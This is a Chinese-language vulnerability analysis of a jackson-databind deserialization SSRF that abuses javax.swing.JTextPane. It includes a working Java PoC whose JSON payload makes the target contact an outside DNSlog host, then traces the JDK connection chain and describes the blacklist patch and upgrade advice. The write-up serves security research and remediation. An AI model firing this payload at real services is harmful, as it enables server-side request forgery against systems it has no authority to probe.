影响范围
-
jackson-databind before 2.9.10.6
-
jackson-databind before 2.10.2
利用条件
影响范围应用
漏洞概述
漏洞类javax.swing.JTextPane来源于JDK不需要依赖任何jar包,该类在jackson-databind进行反序列化时可造成SSRF
漏洞复现
环境搭建
Step 1:新建Meaven项目:
Step 2:修改pom.xml,添加以下依赖:
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.6</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
漏洞利用
Poc.java代码如下所示:
import com.fasterxml.jackson.databind.ObjectMapper;
public class POC {
public static void main(String[] args) throws Exception {
String payload = \\\"[\\\\\\\"javax.swing.JTextPane\\\\\\\",{\\\\\\\"page\\\\\\\":\\\\\\\"http://y2bm1s.dnslog.cn\\\\\\\"}]\\\";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);
}
}
执行POC.java
之后在DNSlog端成功收到请求:
漏洞分析
首先定位到javax.swing.JTextPane类之后查找setPage方法,发现找寻无果:
那么page是从哪里来的呢?之后发现该类继承自JEditorPane:
之后再该类中找寻setPage方法,并下断点进行调试分析:
之后跟进setPage方法,在该方法中首先会判断传入的page是否为空,如果为空则抛出异常信息,不为空则初始化一个page上下文环境(矩形:长高各为1,从(0,0)开始,类似于一个空白word文档):
之后将reloaded设置为false,然后根据loaded是否为空或loaded.sameFile(page)的值以及postDate!=null的布尔值来确定是否进入if语句,而由于此时getPage为空,所以loaded为null,从而直接进入if语句中:
之后调用getAsynchronousLoadPriority来获取document的加载优先级,在这里我们跟进去发现会根据doc的是否是AbstractDocument类型来决定返回的值,如果不是则返回\\”-1\\”,很显然,非也,所以返回\\”-1\\”:
之后进入到if语句中,此时的page会作为参数传递进getStream中,我们继续跟进去看看:
此时会调用page.openConnection()并得到一个HttpURLConnection对象实例,之后判断conn是否是HttpURLConnection的一个示例:
而此时的conn为sun.net.www.protocol.http.HttpURLConnection,所以进入if语句中,之后跟进getResponseCode获取响应值的函数中:
之后我们跟进getInputStream()
之后connecting被设置为\\”true\\”,并检查URL的Socket通信是否允许,紧接着调用getInputStream0()函数:
之后继续跟进getInputStream0()函数,在该函数中会首先判断doInput是否为false,如果此时的doInput为false则无法使用URL连接进行输入,也无法判断是否成功连接,从而抛出异常,此时doInput为true,之后进入到else判断语句中,而此时的rememberException为null,inputStream也为null,所以直接进入最后一个else语句中:
之后一路向下跟踪,最后调用this.connect()来建立连接:
之后调用this.plainConnect()函数,在这里继续跟进:
之后再去调用plainConnect0():
之后跟进this.getNewHttpClient(this.url, var4, this.connectTimeout);
此处又调用了HttpClient.new()函数,继续跟进:
之后一路跟进,最终来到来到HttpClient(),然后继续跟进:
之后设置相关的请求参数(host、port、proxy、keeepAliveConnectiont等等),然后调用openServer()建立连接:
之后检查请求协议以及代理,最终进入到else语句中调用this.openServer()函数:
协议端口啥都有了,之后调用this.doConnect()来正式建立连接:
之后创建socket并调用InetSocketAddress():
之后调用InetAddress.getByName()解析主机名来获取IP地址,从而造成SSRF:
补丁分析
将javax.swing.JEditorPane添加至黑名单类,但这种方式治标不治本,后续可能出现其他绕过黑名单的类:
https://github.com/FasterXML/jackson-databind/commit/7dbf51bf78d157098074a20bd9da39bd48c18e4a
修复建议
及时将jackson-databind升级到安全版本
-
升级到较高版本的JDK
参考链接
https://github.com/FasterXML/jackson-databind/issues/2854
https://github.com/FasterXML/jackson-databind/commit/7dbf51bf78d157098074a20bd9da39bd48c18e4a
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34168.html